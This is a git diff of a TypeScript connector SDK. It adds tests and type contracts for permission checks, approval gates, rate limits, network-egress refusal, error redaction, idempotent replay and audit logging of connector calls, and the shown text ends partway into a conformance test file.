+    });
+    const error = await run(tool, input).catch((failure: unknown) => failure);
+    expect(receiver).toBe(evaluator);
+    expect(reasonReads).toBe(1);
+    expect(error).toMatchObject({
+      code: 'RATE_LIMIT_EXCEEDED',
+      policy: 'custom-throttle',
+      reason: 'capacity',
+      retryable: true,
+      details: { limit: 2, windowMs: 1000 },
+    });
+    expect(audit.events()).toMatchObject([
+      {
+        decisionCode: 'RATE_LIMIT_EXCEEDED',
+        policyKind: 'rate-limit',
+        retryable: true,
+      },
+    ]);
+    expect(execute).not.toHaveBeenCalled();
+  });
+
+  it('keeps nested denial metadata on the outer execute failure', async () => {
+    const audit = new AuditLogger();
+    const inner = createConnector({
+      id: 'taxonomy.inner',
+      description: 'Deny a nested write',
+      permissions: { sideEffect: 'destructive' },
+      policies: { audit },
+      execute: async () => 'unexpected',
+    });
+    let innerError: unknown;
+    const outer = createConnector({
+      id: 'taxonomy.outer',
+      description: 'Propagate nested refusal',
+      permissions: { sideEffect: 'read' },
+      policies: { audit },
+      execute: async (_, context) => {
+        try {
+          return await run(inner, {}, context);
+        } catch (error) {
+          innerError = error;
+          throw error;
+        }
+      },
+    });
+    const error = await run(outer, {}).catch((failure: unknown) => failure);
+    expect(error).toBe(innerError);
+    expect(error).toMatchObject({
+      code: 'APPROVAL_GRANT_MISSING',
+      connector: 'taxonomy.inner',
+    });
+    expect(audit.events()).toMatchObject([
+      {
+        resource: 'taxonomy.inner',
+        decision: 'denied',
+        decisionCode: 'APPROVAL_GRANT_MISSING',
+        policyKind: 'write-permissions',
+        retryable: false,
+      },
+      {
+        resource: 'taxonomy.outer',
+        decision: 'error',
+        decisionCode: 'APPROVAL_GRANT_MISSING',
+        policyKind: 'write-permissions',
+        retryable: false,
+      },
+    ]);
+  });
+
+  it.each([
+    'unregistered',
+    'modified',
+    'options',
+    'unverifiable',
+  ] as const)('types the %s invocation boundary without execute or audit', async (boundary) => {
+    const audit = new AuditLogger();
+    const execute = vi.fn(async () => 'executed');
+    const tool = createConnector({
+      id: 'taxonomy.invocation',
+      description: 'Check invocation ownership',
+      permissions: { sideEffect: 'read' },
+      policies: { audit },
+      execute,
+    });
+    const codes = {
+      unregistered: 'CONNECTOR_UNREGISTERED',
+      modified: 'CONNECTOR_BOUNDARY_MODIFIED',
+      options: 'CONNECTOR_INVOCATION_OPTIONS_INVALID',
+      unverifiable: 'CONNECTOR_BOUNDARY_UNVERIFIABLE',
+    } as const;
+    const target = boundary === 'unregistered' ? { ...tool } : tool;
+    if (boundary === 'modified')
+      Object.defineProperty(tool, 'id', {
+        get() {
+          throw new Error(PRIVATE_BACKEND_SENTINEL);
+        },
+      });
+    if (boundary === 'unverifiable') {
+      const original = tool.execute;
+      tool.execute = async () => 'unchecked';
+      replaceConnectorInvocation(tool, original);
+    }
+    const error = await invokeConnector(
+      target,
+      {},
+      boundary === 'options' ? { toolCallId: '' } : {},
+    ).catch((failure: unknown) => failure);
+    expect(error).toBeInstanceOf(ConnectorInvocationError);
+    expect(error).toBeInstanceOf(TypeError);
+    expect(error).toMatchObject({
+      code: codes[boundary],
+      policyKind: 'invocation',
+      retryable: false,
+      connector:
+        boundary === 'unregistered' ? undefined : 'taxonomy.invocation',
+    });
+    expect(exposedErrorText(error)).not.toContain(PRIVATE_BACKEND_SENTINEL);
+    expect(execute).not.toHaveBeenCalled();
+    expect(audit.events()).toEqual([]);
+  });
+
+  it.each([
+    'input',
+    'output',
+  ] as const)('keeps direct %s validation redacted with its literal code', async (phase) => {
+    const audit = new AuditLogger();
+    const execute = vi.fn(async () => 'invalid output');
+    const tool = createConnector({
+      id: 'taxonomy.validation',
+      description: 'Validate direct input and output',
+      permissions: { sideEffect: 'read' },
+      policies: { audit },
+      ...(phase === 'input'
+        ? { inputSchema: z.number() }
+        : { outputSchema: z.number() }),
+      execute: execute as never,
+    });
+    const error = await invokeConnector(tool, 'invalid input' as never).catch(
+      (failure: unknown) => failure,
+    );
+    const code =
+      phase === 'input'
+        ? 'CONNECTOR_INPUT_INVALID'
+        : 'CONNECTOR_OUTPUT_INVALID';
+    expect(error).toBeInstanceOf(ConnectorValidationError);
+    expect(error).toMatchObject({
+      phase,
+      code,
+      policyKind: 'validation',
+      retryable: false,
+    });
+    expect(Object.hasOwn(error as object, 'cause')).toBe(false);
+    expect(exposedErrorText(error)).not.toContain('invalid input');
+    expect(exposedErrorText(error)).not.toContain('invalid output');
+    if (phase === 'input') {
+      expect(execute).not.toHaveBeenCalled();
+      expect(audit.events()).toEqual([]);
+    } else {
+      expect(execute).toHaveBeenCalledTimes(1);
+      expect(audit.events()).toMatchObject([
+        {
+          decision: 'error',
+          decisionCode: code,
+          policyKind: 'validation',
+          retryable: false,
+        },
+      ]);
+    }
+  });
+});
+
+describe('runtime fetch decision projection', () => {
+  it.each([
+    ['input', 'EGRESS_INPUT_INVALID', null, 0, 0],
+    ['url', 'EGRESS_URL_INVALID', null, 0, 0],
+    ['scheme', 'EGRESS_SCHEME_NOT_ALLOWED', 'api.example.com', 0, 0],
+    ['host', 'EGRESS_HOST_NOT_DECLARED', 'other.example.com', 0, 0],
+    ['redirect-url', 'EGRESS_REDIRECT_URL_INVALID', null, 1, 1],
+    [
+      'redirect-scheme',
+      'EGRESS_REDIRECT_SCHEME_NOT_ALLOWED',
+      'api.example.com',
+      1,
+      1,
+    ],
+    ['redirect-host', 'EGRESS_REDIRECT_HOST_DENIED', 'other.example.com', 1, 1],
+    ['opaque', 'EGRESS_REDIRECT_UNVERIFIABLE', 'api.example.com', 1, 1],
+    ['limit', 'EGRESS_REDIRECT_LIMIT_EXCEEDED', 'api.example.com', 21, 21],
+    ['body', 'EGRESS_REDIRECT_BODY_UNREPLAYABLE', 'api.example.com', 1, 1],
+  ] as const)('retains the %s refusal code and releases each discarded response', async (scenario, code, host, hop, requests) => {
+    const cancel = vi.fn();
+    const audit = new AuditLogger();
+    const location =
+      scenario === 'redirect-url'
+        ? 'https://['
+        : scenario === 'redirect-scheme'
+          ? 'file://api.example.com/private-path'
+          : scenario === 'redirect-host'
+            ? 'https://other.example.com/private-path?secret=private-query'
+            : 'https://api.example.com/next';
+    const fetch = vi.fn(async () => ({
+      status: scenario === 'opaque' ? 0 : 307,
+      headers: { get: () => location },
+      body: { cancel },
+    }));
+    const tool = createConnector({
+      id: 'taxonomy.fetch',
+      description: 'Observe fetch refusal',
+      permissions: { sideEffect: 'read', egress: ['api.example.com'] },
+      policies: { audit, fetch },
+      execute: async (_input, _context, runtime) =>
+        runtime.fetch(
+          scenario === 'input'
+            ? ({} as never)
+            : scenario === 'url'
+              ? 'https://['
+              : scenario === 'scheme'
+                ? 'file://api.example.com/private-path'
+                : scenario === 'host'
+                  ? 'https://other.example.com/private-path?secret=private-query'
+                  : 'https://api.example.com/start',
+          scenario === 'body'
+            ? { method: 'POST', body: { getReader() {} } }
+            : undefined,
+        ),
+    });
+    const error = await run(tool, {}).catch((failure: unknown) => failure);
+    expect(error).toBeInstanceOf(ConnectorPolicyError);
+    expect(error).toMatchObject({
+      code,
+      policyKind: 'egress-fetch',
+      retryable: false,
+      details: { host, hop },
+    });
+    expect((error as Error).message).not.toContain('undefined');
+    expect(exposedErrorText(error)).not.toContain('private-path');
+    expect(exposedErrorText(error)).not.toContain('private-query');
+    expect(fetch).toHaveBeenCalledTimes(requests);
+    expect(cancel).toHaveBeenCalledTimes(requests);
+    expect(audit.events()).toMatchObject([
+      {
+        decision: 'denied',
+        decisionCode: code,
+        policyKind: 'egress-fetch',
+        retryable: false,
+        detail: { host, hop },
+      },
+    ]);
+  });
+});
+
+describe('successful connector decision records', () => {
+  it('keeps authorization, approval, takeover and outcome records distinct', async () => {
+    const audit = new AuditLogger();
+    const store = {
+      get: () => undefined,
+      inspect: () => ({ state: 'absent' as const }),
+      reserve: () => ({
+        state: 'reserved' as const,
+        token: 'lease',
+        tookOver: true,
+      }),
+      put() {},
+      release() {},
+    };
+    const tool = createConnector({
+      id: 'taxonomy.allowed',
+      description: 'Exercise approval and takeover',
+      permissions: {
+        sideEffect: 'destructive',
+        requiredPermissions: ['contacts.write'],
+        idempotencyKey: true,
+      },
+      policies: {
+        audit,
+        idempotencyStore: store,
+      },
+      execute: async () => 'completed',
+    });
+    await expect(
+      run(
+        tool,
+        {},
+        makeContext({
+          idempotencyKey: 'k1',
+          approved: ['taxonomy.allowed'],
+          principalPermissions: {
+            permissions: ['contacts.write'],
+            policyVersion: 'v7',
+          },
+        }),
+      ),
+    ).resolves.toBe('completed');
+    expect(audit.events()).toMatchObject([
+      {
+        action: 'connector.authorize',
+        decisionCode: 'PERMISSION_GRANTED',
+        policyKind: 'required-permissions',
+        retryable: false,
+      },
+      {
+        action: 'connector.approval',
+        decisionCode: 'APPROVAL_GRANTED',
+        policyKind: 'write-permissions',
+        retryable: false,
+      },
+      {
+        action: 'connector.execute',
+        decisionCode: 'IDEMPOTENCY_TAKEOVER',
+        policyKind: 'idempotency',
+        retryable: false,
+      },
+      {
+        action: 'connector.execute',
+        decisionCode: 'CONNECTOR_ALLOWED',
+        policyKind: 'execution',
+        retryable: false,
+      },
+    ]);
+  });
+
+  it('records successful dry-run and replay with the same outcome code', async () => {
+    const audit = new AuditLogger();
+    const execute = vi.fn(async () => 'completed');
+    const tool = createConnector({
+      id: 'taxonomy.results',
+      description: 'Observe successful outcomes',
+      permissions: { sideEffect: 'read', idempotencyKey: true, dryRun: true },
+      policies: { audit, idempotencyStore: new InMemoryIdempotencyStore() },
+      execute,
+      dryRunExecute: async () => 'simulated',
+    });
+    await expect(run(tool, {}, makeContext({ dryRun: true }))).resolves.toBe(
+      'simulated',
+    );
+    await expect(
+      run(tool, {}, makeContext({ idempotencyKey: 'k1' })),
+    ).resolves.toBe('completed');
+    await expect(
+      run(tool, {}, makeContext({ idempotencyKey: 'k1' })),
+    ).resolves.toBe('completed');
+    expect(execute).toHaveBeenCalledTimes(1);
+    expect(audit.events()).toMatchObject([
+      {
+        decisionCode: 'CONNECTOR_ALLOWED',
+        retryable: false,
+        detail: { dryRun: true },
+      },
+      { decisionCode: 'CONNECTOR_ALLOWED', retryable: false },
+      {
+        decisionCode: 'CONNECTOR_ALLOWED',
+        retryable: false,
+        detail: { replayed: true },
+      },
+    ]);
+  });
+});
+
+describe('audit observer isolation during connector settlement', () => {
+  function failingAudit(): AuditLogger {
+    return new AuditLogger({
+      sink: () => {
+        throw new Error('sink failure');
+      },
+      onSinkError: () => {
+        throw new Error('observer failure');
+      },
+    });
+  }
+
+  it('returns a completed atomic result and retains its reservation after commit and observer failures', async () => {
+    const store = new InMemoryIdempotencyStore();
+    vi.spyOn(store, 'put').mockRejectedValue(new Error('commit failure'));
+    const release = vi.spyOn(store, 'release');
+    const execute = vi.fn(async () => ({ receipt: 'completed' }));
+    const audit = failingAudit();
+    const connector = createConnectorBase({
+      id: 'audit.atomic-result',
+      description: 'Local effect counter',
+      permissions: { sideEffect: 'read', idempotencyKey: true },
+      policies: {
+        audit,
+        idempotencyStore: store,
+        idempotencyKeyMigration: 'legacy-writers-drained',
+      },
+      execute,
+    });
+    const requestContext = new RequestContext();
+    requestContext.set(IDEMPOTENCY_KEY_CONTEXT_KEY, 'same-operation');
+    await expect(
+      invokeConnector(connector, {}, { requestContext }),
+    ).resolves.toEqual({ receipt: 'completed' });
+    await expect(
+      invokeConnector(connector, {}, { requestContext }),
+    ).rejects.toMatchObject({
+      code: 'IDEMPOTENCY_CONFLICT',
+      retryable: true,
+    });
+    expect(execute).toHaveBeenCalledTimes(1);
+    expect(release).not.toHaveBeenCalled();
+    expect(
+      audit.events().map((event) => [event.decisionCode, event.retryable]),
+    ).toEqual([
+      ['STORE_COMMIT_FAILED', false],
+      ['CONNECTOR_ALLOWED', false],
+      ['IDEMPOTENCY_CONFLICT', true],
+    ]);
+  });
+
+  it('returns a completed non-atomic result after commit and observer failures', async () => {
+    const execute = vi.fn(async () => ({ receipt: 'completed' }));
+    const audit = failingAudit();
+    const connector = createConnectorBase({
+      id: 'audit.non-atomic-result',
+      description: 'Local effect counter',
+      permissions: { sideEffect: 'read', idempotencyKey: true },
+      policies: {
+        audit,
+        idempotencyKeyMigration: 'legacy-writers-drained',
+        idempotencyStore: {
+          get: async () => undefined,
+          put: async () => {
+            throw new Error('commit failure');
+          },
+        },
+      },
+      execute,
+    });
+    const requestContext = new RequestContext();
+    requestContext.set(IDEMPOTENCY_KEY_CONTEXT_KEY, 'operation');
+    await expect(
+      invokeConnector(connector, {}, { requestContext }),
+    ).resolves.toEqual({ receipt: 'completed' });
+    expect(execute).toHaveBeenCalledTimes(1);
+    expect(
+      audit.events().map((event) => [event.decisionCode, event.retryable]),
+    ).toEqual([
+      ['STORE_COMMIT_FAILED', false],
+      ['CONNECTOR_ALLOWED', false],
+    ]);
+  });
+
+  it('preserves the original failure when reservation release and its observer fail', async () => {
+    const store = new InMemoryIdempotencyStore();
+    const release = vi
+      .spyOn(store, 'release')
+      .mockRejectedValue(new Error('release failure'));
+    const original = new Error('original execution failure');
+    const execute = vi.fn(async () => {
+      throw original;
+    });
+    const audit = failingAudit();
+    const connector = createConnectorBase({
+      id: 'audit.release-failure',
+      description: 'Local failing execution',
+      permissions: { sideEffect: 'read', idempotencyKey: true },
+      policies: {
+        audit,
+        idempotencyStore: store,
+        idempotencyKeyMigration: 'legacy-writers-drained',
+      },
+      execute,
+    });
+    const requestContext = new RequestContext();
+    requestContext.set(IDEMPOTENCY_KEY_CONTEXT_KEY, 'operation');
+    await expect(
+      invokeConnector(connector, {}, { requestContext }),
+    ).rejects.toBe(original);
+    expect(execute).toHaveBeenCalledTimes(1);
+    expect(release).toHaveBeenCalledTimes(1);
+    expect(
+      audit.events().map((event) => [event.decisionCode, event.retryable]),
+    ).toEqual([
+      ['STORE_RELEASE_FAILED', false],
+      ['CONNECTOR_EXECUTION_FAILED', false],
+    ]);
+  });
+});
diff --git a/packages/breakwater/src/connector-sdk/contracts.ts b/packages/breakwater/src/connector-sdk/contracts.ts
new file mode 100644
index 00000000..00f51b4e
--- /dev/null
+++ b/packages/breakwater/src/connector-sdk/contracts.ts
@@ -0,0 +1,280 @@
+// SPDX-License-Identifier: Apache-2.0
+// Connector contracts — the declarations a connector-sdk sibling needs without
+// reaching the barrel that imports them back: manifest, store, policy and
+// connector shapes that cross that edge.
+//
+// A type-only leaf, so the preset, the D1 stores, the key migration and the
+// conformance harness take these declarations without importing the barrel.
+// That need is the criterion for what moves here; a declaration the barrel
+// alone consumes stays in the barrel.
+//
+// `AuditLogger` arrives from the `../audit/index.js` barrel rather than from a
+// leaf because audit publishes it as a class. The edge is admissible while
+// audit reaches nothing under `connector-sdk/`; the day it does, the cycle
+// fails the build instead of passing silently.
+
+import type { RequestContext } from '@mastra/core/request-context';
+import type { Tool, ToolExecutionContext } from '@mastra/core/tools';
+
+import type { AuditLogger } from '../audit/index.js';
+import type {
+  NetworkEgressOptions,
+  SideEffect,
+  ToolPolicyEvaluator,
+  WritePermissionsPolicy,
+} from '../policy-engine/tool-policy.js';
+import type { Permission } from '../rbac/permission.js';
+import type { EgressFetchBase } from './egress-fetch.js';
+
+/**
+ * Whether a connector's declared egress binds its actual traffic.
+ *
+ * The manifest field an author writes and the audit key an operator filters
+ * on are both `egressEnforcement`; `connectorEgressPosture()` is the readback
+ * of the value that field resolves to. The audit key keeps the field's name so
+ * that a log query and a manifest use the same word for the same value, and
+ * the readback keeps "posture" because it answers for a tool rather than for
+ * a declaration.
+ */
+export type ConnectorEgressPosture = 'enforced' | 'declaration-only';
+
+/** Permission manifest — what the connector declares about itself. */
+export interface PermissionManifest {
+  /** Worst side effect the connector can cause. */
+  sideEffect: SideEffect;
+  /** Hostnames this connector calls; gated by the networkEgress policy. */
+  egress?: readonly string[];
+  /**
+   * Whether the declared `egress` binds the connector's actual traffic.
+   * 'enforced' asserts every HTTP request leaves through
+   * `ConnectorRuntime.fetch`. It covers a connector that issues no HTTP
+   * request at all; it is a claim about HTTP traffic, not about platform
+   * bindings (D1, KV, R2, service bindings), which the guard never sees.
+   * 'declaration-only' states that a vendor SDK or child process carries its
+   * own transport, so the list is checked against organization policy but not
+   * against sockets. An omitted field resolves to 'declaration-only':
+   * nothing has proven enforcement. `connectorEgressPosture()` reads the
+   * resolved value.
+   */
+  egressEnforcement?: ConnectorEgressPosture;
+  /**
+   * Caller must supply a per-call idempotency key
+   * (IDEMPOTENCY_KEY_CONTEXT_KEY in requestContext). Replays of a stored
+   * key return the stored result without re-executing.
+   */
+  idempotencyKey?: boolean;
+  /** Always require human approval, regardless of org policy. */
+  requiresApproval?: boolean;
+  /**
+   * Connector supports side-effect-free simulation: requires
+   * `ConnectorConfig.dryRunExecute`. Callers request a simulation per call
+   * by setting requestContext DRY_RUN_CONTEXT_KEY to true.
+   */
+  dryRun?: boolean;
+  /**
+   * Execution budget as '<count>/<unit>' — e.g. '100/min'; units are the
+   * singular s|sec|second|m|min|minute|h|hour|d|day. Enforced with fixed
+   * windows against `policies.rateLimitStore`; only actual executions
+   * consume budget (denied calls, replays, and shared in-flight joins do
+   * not).
+   */
+  rateLimit?: string;
+  /**
+   * Allow Mastra background intent for this connector. The default is
+   * foreground-only. Only a read-only connector may enable this field;
+   * write-class connectors fail at construction.
+   */
+  background?: boolean;
+  /**
+   * Server-derived permissions required to invoke this connector, with
+   * explicit ALL-OF semantics: the executing principal must hold every
+   * listed identifier. Enforced against the trusted
+   * `breakwater.principalPermissions` projection BEFORE the dry-run branch
+   * and the approval-grant gate — authorization applies to simulations too,
+   * and a valid approval must not elevate an unauthorized principal. A call
+   * with no valid projection fails closed. Omission preserves the existing
+   * approval/policy-only behavior; a present list must be non-empty.
+   */
+  requiredPermissions?: readonly Permission[];
+}
+
+/** Completed result stored for idempotent replay. */
+export interface IdempotencyRecord {
+  /** Connector result returned by future calls with the same scoped key. */
+  result: unknown;
+}
+
+/**
+ * Result storage keyed by a private, versioned composite key. Callers must
+ * treat keys as opaque. The record wrapper distinguishes a stored undefined
+ * result from a miss.
+ *
+ * get/put plus the wrapper's in-flight dedup close same-isolate races only.
+ * Durable implementations (D1/KV) must implement AtomicIdempotencyStore —
+ * its reserve() claim is what stops two isolates racing one key from both
+ * missing get() and both executing. D1IdempotencyStore ships that shape.
+ */
+export interface IdempotencyStore {
+  /** Return the completed record for a scoped key, or `undefined` on a miss. */
+  get(
+    key: string,
+  ): IdempotencyRecord | undefined | Promise<IdempotencyRecord | undefined>;
+  /**
+   * Finalize a key's record. `token` is the lease returned by an atomic
+   * reserve(): when supplied, the store finalizes ONLY if the key still
+   * belongs to that lease. A stale holder whose lease was taken over cannot
+   * overwrite the new result. Omit the token on the legacy get/put path,
+   * which upserts
+   * unconditionally (same-isolate protection only).
+   */
+  put(
+    key: string,
+    record: IdempotencyRecord,
+    token?: string,
+  ): void | Promise<void>;
+}
+
+/**
+ * Outcome of an atomic reservation: execute a newly reserved key, replay a
+ * completed record, or report that another isolate still owns the key.
+ */
+export type IdempotencyReservation =
+  | {
+      /** This caller owns the reservation and may execute. */
+      state: 'reserved';
+      /** Opaque lease required to finalize or release the reservation. */
+      token: string;
+      /** Whether this reservation replaced a stale pending holder. */
+      tookOver?: boolean;
+    }
+  | {
+      /** A completed result exists and must be replayed without execution. */
+      state: 'replay';
+      /** Completed result associated with the key. */
+      record: IdempotencyRecord;
+    }
+  | {
+      /** Another isolate owns a non-stale reservation. */
+      state: 'pending';
+    };
+
+/**
+ * Idempotency store with an atomic claim — the shape durable, cross-isolate
+ * implementations must take: reserve() is a compare-and-set, so two isolates
+ * racing one key resolve to exactly one 'reserved' winner. The connector
+ * wrapper prefers this path whenever a store implements it.
+ */
+export interface AtomicIdempotencyStore extends IdempotencyStore {
+  /** Atomically reserve a scoped key or return its current state. */
+  reserve(
+    key: string,
+  ): IdempotencyReservation | Promise<IdempotencyReservation>;
+  /**
+   * Drop a pending reservation after a failed execute — failures stay
+   * retryable. `token` is the lease from reserve(): when supplied, only the
+   * matching lease's pending row is dropped, so a stale holder cannot delete
+   * a newer claim.
+   */
+  release(key: string, token?: string): void | Promise<void>;
+}
+
+/** Non-mutating state returned by an inspectable idempotency store. */
+export type IdempotencyInspection =
+  | { state: 'absent' }
+  | { state: 'pending' }
+  | { state: 'replay'; record: IdempotencyRecord };
+
+/**
+ * Idempotency store that can distinguish an absent key from a pending claim
+ * without reserving it. Atomic stores need this capability during the v1-to-v2
+ * composite-key transition so legacy pending work cannot be mistaken for a
+ * miss and executed again.
+ */
+export interface InspectableIdempotencyStore extends IdempotencyStore {
+  /** Inspect a key without reserving, finalizing, or releasing it. */
+  inspect(key: string): IdempotencyInspection | Promise<IdempotencyInspection>;
+}
+
+/**
+ * Fixed-window rate-limit counters keyed by connector id. Implementations
+ * back the manifest's `rateLimit` budget. The store's reach IS the budget's
+ * reach: InMemoryRateLimitStore caps per isolate (per RUN under DO-per-run
+ * routing); a declared cap that must hold across isolates needs
+ * D1RateLimitStore (or an equivalent shared store).
+ */
+export interface RateLimitStore {
+  /**
+   * Atomically count one call against the connector's current fixed window
+   * and return the post-increment count. `now` is caller-supplied epoch ms
+   * so stores stay clock-free.
+   */
+  increment(
+    key: string,
+    windowMs: number,
+    now: number,
+  ): number | Promise<number>;
+}
+
+/** Org-level policy bindings enforced by the connector's execute wrapper. */
+export interface ConnectorPolicies {
+  /** Organization allowlist applied to the manifest's declared hosts. */
+  networkEgress?: NetworkEgressOptions;
+  /** Organization approval rules for write-class connector IDs. */
+  writePermissions?: WritePermissionsPolicy;
+  /**
+   * Custom tool-boundary evaluators, run pre-execute after the built-in
+   * network-egress gate, in registration order.
+   */
+  evaluators?: readonly ToolPolicyEvaluator[];
+  /** Store used when the manifest requires an idempotency key. */
+  idempotencyStore?: IdempotencyStore;
+  /**
+   * Explicit v2 composite-key rollout acknowledgement. Set only after every
+   * legacy writer sharing the store has been stopped and drained and legacy
+   * rows have been inventoried. Without it, an absent legacy key fails closed
+   * instead of racing an old writer that could still create a v1 record.
+   */
+  idempotencyKeyMigration?: 'legacy-writers-drained';
+  /** Required when the manifest declares `rateLimit`. */
+  rateLimitStore?: RateLimitStore;
+  /** Optional audit logger for connector decisions and failures. */
+  audit?: AuditLogger;
+  /**
+   * Base fetch the per-call egress guard wraps before handing it to
+   * `execute` as `ConnectorRuntime.fetch` (tests inject the vendor mock
+   * here). Defaults to the runtime's global fetch.
+   */
+  fetch?: EgressFetchBase;
+  /**
+   * Refuse, at construction, any connector whose resolved egress posture is not
+   * 'enforced'. Pass it on a `createConnector()` call whose connector must not
+   * rely on a boundary outside ConnectorRuntime.fetch.
+   *
+   * The construction gate reads this flag for truthiness and validates no
+   * value: a falsy one leaves the posture unrequired, which is what a caller
+   * passing `false` asks for. `singleTenantConnectorPolicies()` is stricter
+   * because it parses its options object through a schema, where the same
+   * field accepts the literal `true` alone.
+   */
+  requireEgressEnforcement?: true;
+}
+
+/** Breakwater connector with the execution function guaranteed at construction. */
+export type Connector<TInput = unknown, TOutput = unknown> = Tool<
+  TInput,
+  TOutput
+> & {
+  execute: NonNullable<Tool<TInput, TOutput>['execute']>;
+};
+
+/** Trusted host context accepted by {@link invokeConnector}. */
+export interface ConnectorInvocationOptions {
+  /** Request context carrying trusted policy, identity, and grant values. */
+  requestContext?: RequestContext;
+  /** Abort signal forwarded to the connector execution context. */
+  abortSignal?: AbortSignal;
+  /** Mastra observability helper, or the public no-op helper when omitted. */
+  observe?: ToolExecutionContext['observe'];
+  /** Exact Mastra tool-call identity used to match a tool-call approval grant. */
+  toolCallId?: string;
+}
diff --git a/packages/breakwater/src/connector-sdk/d1-idempotency-store.ts b/packages/breakwater/src/connector-sdk/d1-idempotency-store.ts
index da7b2b0b..7b544fac 100644
--- a/packages/breakwater/src/connector-sdk/d1-idempotency-store.ts
+++ b/packages/breakwater/src/connector-sdk/d1-idempotency-store.ts
@@ -8,18 +8,18 @@
 // platform-agnostic — no @cloudflare/workers-types import — so tests back
 // the interfaces with node:sqlite and Workers pass env.DB directly.
 
-import {
-  ATOMIC_LEGACY_IDEMPOTENCY_MIGRATION,
-  type AtomicLegacyIdempotencyMigrationRequest,
-  type AtomicLegacyIdempotencyMigrationResult,
-} from './idempotency-migration.js';
 import type {
   AtomicIdempotencyStore,
   IdempotencyInspection,
   IdempotencyRecord,
   IdempotencyReservation,
   InspectableIdempotencyStore,
-} from './index.js';
+} from './contracts.js';
+import {
+  ATOMIC_LEGACY_IDEMPOTENCY_MIGRATION,
+  type AtomicLegacyIdempotencyMigrationRequest,
+  type AtomicLegacyIdempotencyMigrationResult,
+} from './idempotency-migration.js';
 import { newToken } from './new-token.js';
 
 /** The subset of D1Database this store uses. */
diff --git a/packages/breakwater/src/connector-sdk/d1-rate-limit-store.test.ts b/packages/breakwater/src/connector-sdk/d1-rate-limit-store.test.ts
index a896ddcf..a1ef1361 100644
--- a/packages/breakwater/src/connector-sdk/d1-rate-limit-store.test.ts
+++ b/packages/breakwater/src/connector-sdk/d1-rate-limit-store.test.ts
@@ -14,7 +14,7 @@ import {
   type RateLimitDatabase,
   type RateLimitStatement,
 } from './d1-rate-limit-store.js';
-import { createConnector } from './index.js';
+import { ConnectorStoreError, createConnector } from './index.js';
 
 // --- node:sqlite -> RateLimitDatabase adapter -------------------------------
 
@@ -196,9 +196,15 @@ describe('D1RateLimitStore (Node SQLite facsimile)', () => {
       );
       vi.setSystemTime(T0 + MINUTE);
 
-      await expect(runConnector(tool)).rejects.toThrow(
-        'injected cleanup failure',
-      );
+      const failure = await runConnector(tool).catch((error: unknown) => error);
+      expect(failure).toBeInstanceOf(ConnectorStoreError);
+      expect(failure).toMatchObject({
+        code: 'STORE_UNAVAILABLE',
+        store: 'rate-limit',
+        operation: 'increment',
+        retryable: true,
+        cause: expect.objectContaining({ message: 'injected cleanup failure' }),
+      });
       expect(execute).not.toHaveBeenCalled();
       expect(
         sqlite
@@ -212,6 +218,9 @@ describe('D1RateLimitStore (Node SQLite facsimile)', () => {
         {
           decision: 'error',
           reason: 'rate-limit store increment failed',
+          decisionCode: 'STORE_UNAVAILABLE',
+          policyKind: 'store',
+          retryable: true,
           detail: { stage: 'rate-limit-store' },
         },
       ]);
diff --git a/packages/breakwater/src/connector-sdk/d1-rate-limit-store.ts b/packages/breakwater/src/connector-sdk/d1-rate-limit-store.ts
index 5ab9d32d..022b77e6 100644
--- a/packages/breakwater/src/connector-sdk/d1-rate-limit-store.ts
+++ b/packages/breakwater/src/connector-sdk/d1-rate-limit-store.ts
@@ -12,7 +12,7 @@
 // D1IdempotencyStore: tests back the interface with node:sqlite, Workers
 // pass env.DB.
 
-import type { RateLimitStore } from './index.js';
+import type { RateLimitStore } from './contracts.js';
 
 /** The subset of D1Database this store uses. */
 export interface RateLimitDatabase {
diff --git a/packages/breakwater/src/connector-sdk/egress-conformance.fixtures.ts b/packages/breakwater/src/connector-sdk/egress-conformance.fixtures.ts
new file mode 100644
index 00000000..f4395f3c
--- /dev/null
+++ b/packages/breakwater/src/connector-sdk/egress-conformance.fixtures.ts
@@ -0,0 +1,31 @@
+// SPDX-License-Identifier: Apache-2.0
+// The manifests and cases both conformance suites drive. Keep vitest out of
+// it: it sits under `src`, and the build program excludes it by name rather
+// than by the `.test.ts` suffix.
+import type {
+  ConnectorConfig,
+  ConnectorConformanceCase,
+  PermissionManifest,
+} from './index.js';
+
+export type Execute = ConnectorConfig<unknown, unknown>['execute'];
+
+export const manifest: PermissionManifest = {
+  sideEffect: 'read',
+  egress: ['api.vendor.example'],
+  egressEnforcement: 'enforced',
+};
+export const noEgress: PermissionManifest = {
+  sideEffect: 'read',
+  egressEnforcement: 'enforced',
+};
+export const requestCase: ConnectorConformanceCase = {
+  name: 'request',
+  input: {},
+  expect: { outcome: 'guarded-request', hosts: ['api.vendor.example'] },
+};
+export const quietCase: ConnectorConformanceCase = {
+  name: 'quiet',
+  input: {},
+  expect: { outcome: 'no-network' },
+};
diff --git a/packages/breakwater/src/connector-sdk/egress-conformance.test.ts b/packages/breakwater/src/connector-sdk/egress-conformance.test.ts
new file mode 100644
index 00000000..bd40769a
--- /dev/null
+++ b/packages/breakwater/src/connector-sdk/egress-conformance.test.ts
@@ -0,0 +1,3429 @@
+// SPDX-License-Identifier: Apache-2.0
+import { existsSync, readFileSync } from 'node:fs';
+import { createTool } from '@mastra/core/tools';
+import { describe, expect, it, vi } from 'vitest';
+import { z } from 'zod';
+import {
+  type Execute,
+  manifest,
+  noEgress,
+  quietCase,
+  requestCase,
+} from './egress-conformance.fixtures.js';
+import { CONFORMANCE_LIMIT } from './egress-conformance.js';
+import {
+  assertConnectorConformance,
+  type Connector,
+  type ConnectorConformanceCase,
+  ConnectorConformanceError,
+  type ConnectorConformanceFactory,
+  type ConnectorConformanceOptions,
+  type ConnectorConformanceReport,
+  type ConnectorConformanceRuntime,
+  type ConnectorInvocationOptions,
+  type ConnectorPolicies,
+  createConnector,
+  type EgressResponse,
+  invokeConnector,
+  type PermissionManifest,
+  singleTenantConnectorPolicies,
+} from './index.js';
+
+const fetchReason =
+  'either the factory did not wire policies.fetch, or the connector called the ambient global directly for a host it declares; the escape record beside this finding is authoritative for the request itself.';
+const boundaryReason =
+  "the case produced no audit event because the connector's gate boundary was never reached; a pre-boundary refusal is not expressible by any expectation and belongs in an ordinary connector test";
+
+function factory(
+  execute: Execute = async (_input, _context, runtime) => {
+    await runtime.fetch('https://api.vendor.example');
+    return {};
+  },
+  permissions: PermissionManifest = manifest,
+  policies?: (runtime: ConnectorConformanceRuntime) => ConnectorPolicies,
+): ConnectorConformanceFactory<unknown, unknown> {
+  return (runtime) =>
+    createConnector<unknown, unknown>({
+      id: 'vendor.read',
+      description: 'Conformance fixture',
+      permissions,
